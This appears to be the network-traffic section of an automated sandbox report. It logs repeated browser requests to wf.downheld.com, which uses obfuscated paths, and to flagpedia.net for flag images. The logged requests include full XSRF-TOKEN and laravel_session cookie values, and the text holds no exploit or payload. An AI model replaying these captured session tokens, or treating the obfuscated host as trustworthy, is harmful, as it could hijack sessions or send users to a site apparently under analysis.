XSRF-TOKEN=eyJpdiI6InRTSklDeURmbEFjelVoQVpVMkM1dHc9PSIsInZhbHVlIjoiS0hQcFBTdnZBd2xiK0tTU1h3V0FVL1ZFUzFRYzRsb3loZkhiRENCOC9CUnlabWo4ZjZ4Zlo1S1E0UlRTVGZiOWZYdE9OVEpRamhXUGROdU5OdU9LbzZZQW45VGZ3QlNueWk1YnJlZWdBbnIvMHA3ZWQyczBuNEtkN2JiSlFsUHkiLCJtYWMiOiI3YjAyY2VkNmJmN2NlYTMyOWY4NzgxZmYyMTViNWEzY2ZjNTJkNjY5NjA5NjI3OTQwNGUwZWRiMzFkYjAzODYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkpMM0lKWW9FVUdORlZydXlMUU1kUFE9PSIsInZhbHVlIjoiMWhOSXA5aVUvMlpvUHV4Skxia0NMNnA3Rk9TUGJ3dmVUZDlNckkxRXdmQ0s3NS9hZ1A2RnkrYmthUDFHYkNWWnNjeitXNkFZaVcvR2x2b2JqTXdIQUk0VjhzU2R1ZjhpTGN2NXVtNjJYNEIvV1dObFpIOEExOWZrN3ZvNTJUeE0iLCJtYWMiOiJmZGYxNGU3ODFkYzA3YzU5MDQxMGU2YjE5ZDc5ODVhZWVkMDA0YThiZjg1ZTE3ZTdhNzRlZTM4ODZkZGM0MWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /Roboto-Medium.woff2 HTTP/1.1Host: wf.downheld.comConnection: keep-aliveOrigin: https://wf.downheld.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNVAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRTSklDeURmbEFjelVoQVpVMkM1dHc9PSIsInZhbHVlIjoiS0hQcFBTdnZBd2xiK0tTU1h3V0FVL1ZFUzFRYzRsb3loZkhiRENCOC9CUnlabWo4ZjZ4Zlo1S1E0UlRTVGZiOWZYdE9OVEpRamhXUGROdU5OdU9LbzZZQW45VGZ3QlNueWk1YnJlZWdBbnIvMHA3ZWQyczBuNEtkN2JiSlFsUHkiLCJtYWMiOiI3YjAyY2VkNmJmN2NlYTMyOWY4NzgxZmYyMTViNWEzY2ZjNTJkNjY5NjA5NjI3OTQwNGUwZWRiMzFkYjAzODYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkpMM0lKWW9FVUdORlZydXlMUU1kUFE9PSIsInZhbHVlIjoiMWhOSXA5aVUvMlpvUHV4Skxia0NMNnA3Rk9TUGJ3dmVUZDlNckkxRXdmQ0s3NS9hZ1A2RnkrYmthUDFHYkNWWnNjeitXNkFZaVcvR2x2b2JqTXdIQUk0VjhzU2R1ZjhpTGN2NXVtNjJYNEIvV1dObFpIOEExOWZrN3ZvNTJUeE0iLCJtYWMiOiJmZGYxNGU3ODFkYzA3YzU5MDQxMGU2YjE5ZDc5ODVhZWVkMDA0YThiZjg1ZTE3ZTdhNzRlZTM4ODZkZGM0MWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GoogleSans-Medium.woff2 HTTP/1.1Host: wf.downheld.comConnection: keep-aliveOrigin: https://wf.downheld.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNVAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRTSklDeURmbEFjelVoQVpVMkM1dHc9PSIsInZhbHVlIjoiS0hQcFBTdnZBd2xiK0tTU1h3V0FVL1ZFUzFRYzRsb3loZkhiRENCOC9CUnlabWo4ZjZ4Zlo1S1E0UlRTVGZiOWZYdE9OVEpRamhXUGROdU5OdU9LbzZZQW45VGZ3QlNueWk1YnJlZWdBbnIvMHA3ZWQyczBuNEtkN2JiSlFsUHkiLCJtYWMiOiI3YjAyY2VkNmJmN2NlYTMyOWY4NzgxZmYyMTViNWEzY2ZjNTJkNjY5NjA5NjI3OTQwNGUwZWRiMzFkYjAzODYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkpMM0lKWW9FVUdORlZydXlMUU1kUFE9PSIsInZhbHVlIjoiMWhOSXA5aVUvMlpvUHV4Skxia0NMNnA3Rk9TUGJ3dmVUZDlNckkxRXdmQ0s3NS9hZ1A2RnkrYmthUDFHYkNWWnNjeitXNkFZaVcvR2x2b2JqTXdIQUk0VjhzU2R1ZjhpTGN2NXVtNjJYNEIvV1dObFpIOEExOWZrN3ZvNTJUeE0iLCJtYWMiOiJmZGYxNGU3ODFkYzA3YzU5MDQxMGU2YjE5ZDc5ODVhZWVkMDA0YThiZjg1ZTE3ZTdhNzRlZTM4ODZkZGM0MWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/us.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /opTxm6atcIIpR88MMGdTpVxYy19A0NiBehMPVC6chbMtGymUDCiom1LWsZ388rBsOxDllo34UkZA687yUGUVhZj5e8LGGkpqa5KGdDwyfFHk5vOEZfCjb6vsKkeMBW8mkH7LuhnLgzjWy4b9hdef536 HTTP/1.1Host: wf.downheld.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNVAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRTSklDeURmbEFjelVoQVpVMkM1dHc9PSIsInZhbHVlIjoiS0hQcFBTdnZBd2xiK0tTU1h3V0FVL1ZFUzFRYzRsb3loZkhiRENCOC9CUnlabWo4ZjZ4Zlo1S1E0UlRTVGZiOWZYdE9OVEpRamhXUGROdU5OdU9LbzZZQW45VGZ3QlNueWk1YnJlZWdBbnIvMHA3ZWQyczBuNEtkN2JiSlFsUHkiLCJtYWMiOiI3YjAyY2VkNmJmN2NlYTMyOWY4NzgxZmYyMTViNWEzY2ZjNTJkNjY5NjA5NjI3OTQwNGUwZWRiMzFkYjAzODYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkpMM0lKWW9FVUdORlZydXlMUU1kUFE9PSIsInZhbHVlIjoiMWhOSXA5aVUvMlpvUHV4Skxia0NMNnA3Rk9TUGJ3dmVUZDlNckkxRXdmQ0s3NS9hZ1A2RnkrYmthUDFHYkNWWnNjeitXNkFZaVcvR2x2b2JqTXdIQUk0VjhzU2R1ZjhpTGN2NXVtNjJYNEIvV1dObFpIOEExOWZrN3ZvNTJUeE0iLCJtYWMiOiJmZGYxNGU3ODFkYzA3YzU5MDQxMGU2YjE5ZDc5ODVhZWVkMDA0YThiZjg1ZTE3ZTdhNzRlZTM4ODZkZGM0MWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klJp6PVPI4TcV1SalluDHgQPljdE0hsjjbF4CfYPyh6pYZG40hxhRFZuIMmRGP4MOxzZPLoNSIb1wmHpgh1WOaO1Zbif07icJFRaj3IVQJ9RCgTxa1GjHe13Plmd3zJ7DstdNuIfvSUNTLEhwx633 HTTP/1.1Host: wf.downheld.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNVAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRTSklDeURmbEFjelVoQVpVMkM1dHc9PSIsInZhbHVlIjoiS0hQcFBTdnZBd2xiK0tTU1h3V0FVL1ZFUzFRYzRsb3loZkhiRENCOC9CUnlabWo4ZjZ4Zlo1S1E0UlRTVGZiOWZYdE9OVEpRamhXUGROdU5OdU9LbzZZQW45VGZ3QlNueWk1YnJlZWdBbnIvMHA3ZWQyczBuNEtkN2JiSlFsUHkiLCJtYWMiOiI3YjAyY2VkNmJmN2NlYTMyOWY4NzgxZmYyMTViNWEzY2ZjNTJkNjY5NjA5NjI3OTQwNGUwZWRiMzFkYjAzODYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkpMM0lKWW9FVUdORlZydXlMUU1kUFE9PSIsInZhbHVlIjoiMWhOSXA5aVUvMlpvUHV4Skxia0NMNnA3Rk9TUGJ3dmVUZDlNckkxRXdmQ0s3NS9hZ1A2RnkrYmthUDFHYkNWWnNjeitXNkFZaVcvR2x2b2JqTXdIQUk0VjhzU2R1ZjhpTGN2NXVtNjJYNEIvV1dObFpIOEExOWZrN3ZvNTJUeE0iLCJtYWMiOiJmZGYxNGU3ODFkYzA3YzU5MDQxMGU2YjE5ZDc5ODVhZWVkMDA0YThiZjg1ZTE3ZTdhNzRlZTM4ODZkZGM0MWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/us.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dpruvAaXllqo7Iq8WFR3w1yQBRwxrIXl8zWVOdNEOHz0nReC9rfrgb HTTP/1.1Host: wf.downheld.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjNlT3pFbjV0VUhLME1XcU53WDZwOEE9PSIsInZhbHVlIjoiVmVjU2RhRVhyU3hHUXdtYWNJRFRTNXdxc2J3TzFUVDg3bzVrWVN0bW1oMGpJWkFQMTM1Mys1Rk5Mc3BlbGQxbVAzUFFwZTdJZ2JkdWdMVEZLbTA3WDZrKzlrdlR6d01rUkJKVis5RFNsQm16QXlaMlZTN3dDQnBWb0hZVThsMmgiLCJtYWMiOiIxNzY2Zjg3ZTlhZjZjMjY2NGIwODNkNzFlYmY2NzgzN2ZlMWMyY2ZmOWY1ZGY5NmVjMDhjN2VlNDY2OTIwYjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImJlMld0LzJaTUdLSG9jWHVVTm9oQmc9PSIsInZhbHVlIjoiWC9UN2tsQklKU0tCU3Y1VXZlZmh4VHBIRkdUc2IzQjYvd1NZS2owaXc1TnhBWnM1eW04RHp6TjNJditoRjkvck9ydjVGb1dSMVlQK24raEtlQitZRFlCZ0Y2czBiam9kTVFnT1JlZVNZYmlldlZPWEZoOHlLeTFpajNRaS9Edk8iLCJtYWMiOiI1MDc4MjY3MjhlMmZkMmM2NjM2MzE0ZjlkN2U0NGYxYzA0NzFhMjRhMGY3YmQ5NzZiOTBmNzZlZWUxM2E0NGI4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opTxm6atcIIpR88MMGdTpVxYy19A0NiBehMPVC6chbMtGymUDCiom1LWsZ388rBsOxDllo34UkZA687yUGUVhZj5e8LGGkpqa5KGdDwyfFHk5vOEZfCjb6vsKkeMBW8mkH7LuhnLgzjWy4b9hdef536 HTTP/1.1Host: wf.downheld.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjNlT3pFbjV0VUhLME1XcU53WDZwOEE9PSIsInZhbHVlIjoiVmVjU2RhRVhyU3hHUXdtYWNJRFRTNXdxc2J3TzFUVDg3bzVrWVN0bW1oMGpJWkFQMTM1Mys1Rk5Mc3BlbGQxbVAzUFFwZTdJZ2JkdWdMVEZLbTA3WDZrKzlrdlR6d01rUkJKVis5RFNsQm16QXlaMlZTN3dDQnBWb0hZVThsMmgiLCJtYWMiOiIxNzY2Zjg3ZTlhZjZjMjY2NGIwODNkNzFlYmY2NzgzN2ZlMWMyY2ZmOWY1ZGY5NmVjMDhjN2VlNDY2OTIwYjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImJlMld0LzJaTUdLSG9jWHVVTm9oQmc9PSIsInZhbHVlIjoiWC9UN2tsQklKU0tCU3Y1VXZlZmh4VHBIRkdUc2IzQjYvd1NZS2owaXc1TnhBWnM1eW04RHp6TjNJditoRjkvck9ydjVGb1dSMVlQK24raEtlQitZRFlCZ0Y2czBiam9kTVFnT1JlZVNZYmlldlZPWEZoOHlLeTFpajNRaS9Edk8iLCJtYWMiOiI1MDc4MjY3MjhlMmZkMmM2NjM2MzE0ZjlkN2U0NGYxYzA0NzFhMjRhMGY3YmQ5NzZiOTBmNzZlZWUxM2E0NGI4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klJp6PVPI4TcV1SalluDHgQPljdE0hsjjbF4CfYPyh6pYZG40hxhRFZuIMmRGP4MOxzZPLoNSIb1wmHpgh1WOaO1Zbif07icJFRaj3IVQJ9RCgTxa1GjHe13Plmd3zJ7DstdNuIfvSUNTLEhwx633 HTTP/1.1Host: wf.downheld.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjNlT3pFbjV0VUhLME1XcU53WDZwOEE9PSIsInZhbHVlIjoiVmVjU2RhRVhyU3hHUXdtYWNJRFRTNXdxc2J3TzFUVDg3bzVrWVN0bW1oMGpJWkFQMTM1Mys1Rk5Mc3BlbGQxbVAzUFFwZTdJZ2JkdWdMVEZLbTA3WDZrKzlrdlR6d01rUkJKVis5RFNsQm16QXlaMlZTN3dDQnBWb0hZVThsMmgiLCJtYWMiOiIxNzY2Zjg3ZTlhZjZjMjY2NGIwODNkNzFlYmY2NzgzN2ZlMWMyY2ZmOWY1ZGY5NmVjMDhjN2VlNDY2OTIwYjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImJlMld0LzJaTUdLSG9jWHVVTm9oQmc9PSIsInZhbHVlIjoiWC9UN2tsQklKU0tCU3Y1VXZlZmh4VHBIRkdUc2IzQjYvd1NZS2owaXc1TnhBWnM1eW04RHp6TjNJditoRjkvck9ydjVGb1dSMVlQK24raEtlQitZRFlCZ0Y2czBiam9kTVFnT1JlZVNZYmlldlZPWEZoOHlLeTFpajNRaS9Edk8iLCJtYWMiOiI1MDc4MjY3MjhlMmZkMmM2NjM2MzE0ZjlkN2U0NGYxYzA0NzFhMjRhMGY3YmQ5NzZiOTBmNzZlZWUxM2E0NGI4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/af.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/al.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/dz.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ad.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ao.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ag.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ar.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/af.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/am.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ao.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ag.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/au.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/al.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/at.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/dz.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/az.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
